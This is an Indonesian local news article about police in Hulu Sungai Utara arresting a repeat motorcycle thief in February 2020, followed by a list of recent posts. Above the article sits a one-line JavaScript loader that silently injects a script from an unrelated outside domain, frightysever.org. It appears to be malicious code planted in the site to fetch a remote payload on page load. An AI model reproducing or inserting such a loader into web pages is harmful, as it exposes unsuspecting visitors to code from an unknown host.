(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Satreskrim Polres HSU Bekuk Pelaku Curanmor, Ternyata Bukan Kali Pertama


KANALKALIMANTAN.COM, AMUNTAI – Unit Jatanras Polres Hulu Sungai Utara (HSU) bersama Unit Reskrim Polsek Amuntai Kota kembali meringkus tersangka Curanmor bernama Didit (29), warga Kebun Sari, Kecamatan Amuntai Tengah, Kabupaten HSU.

Dari tersangka Didit, polisi berhasil mengamankan barang bukti sebuah sepeda Motor Merk Honda Beat Warna Orange dengan Nomor Polisi : DA 6580 FAB, pada hari Rabu (19/2/2020)

Kapolres HSU AKBP Pipit Subiyanto melalui Kasat Reskrim Polres HSU Iptu Kamarudin, kepada kanalkalimantan.com, Kamis (20/2/2020) mengakui anggotanya telah mengamankan tersangka bersama barang bukti  atas laporan korban Rina yang menjadi korban pencurian.

Dari Informasinya, kejadian curanmor sendiri terjadi pada Senin (17 /2/2020) kemarin sekitar pukul 04.30 Wita.  Rina yang pada waktu itu meletakkan motor di halaman rumahnya di Jl Pangeran Antasari Kecamantan Amuntai Tengah,  mengetahui kendaraannya telah raib sejak pukul 04.30 Wita.

“Setelah korban keluar rumah ternyata motor miliknya sudah tidak ada lagi di tempat,” ujar Kasatreskrim Polres HSU.

Walhasil atas kejadian tersebut pelapor mengalami kerugian sebesar Rp 8,6 juta dan melaporkannya ke Mapolsek Kota guna penyelidikan lebih lanjut.  Berselang satu hari setelah kejadian, berdasarkan laporan korban dan proses penyelidikan bersama sejumlah saksi, membuahkan hasil pada Rabu (19/2/2020) Sekitar 15.30 wita.

Unit Jatanras Polres HSU bersama Unit Reskrim Polsek Amuntai Kota meringkus tersangka Curanmor tersebut saat sedang berada di sebuah Rumah di Jl. H Ali Gang Suwarga Rt. 06 Kelurahan Antasari Kecamantan Amuntai Tengah.

Setelah diinterogasi, kepala polisi tersangka mengakui semua perbuatannya. Bahkan, menurut pengakuan tersangka ia telah beberapa kali berhasil melakukan aksi serupa di beberapa tempat berbeda. “Pelaku sudah pernah lakukan kasus curanmor 3 kali, masuk rumah orang 1 kali, sama yang ini 4 kali curanmor,” ujar Iptu Kamarudin.

Untuk sementara tersangka bersama barang bukti di gelandang ke Mapolsek Amuntai Kota guna penyelidikan lebih lanjut.(kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Cell

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

7 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

10 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

10 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

12 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

14 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

15 jam ago

This website uses cookies.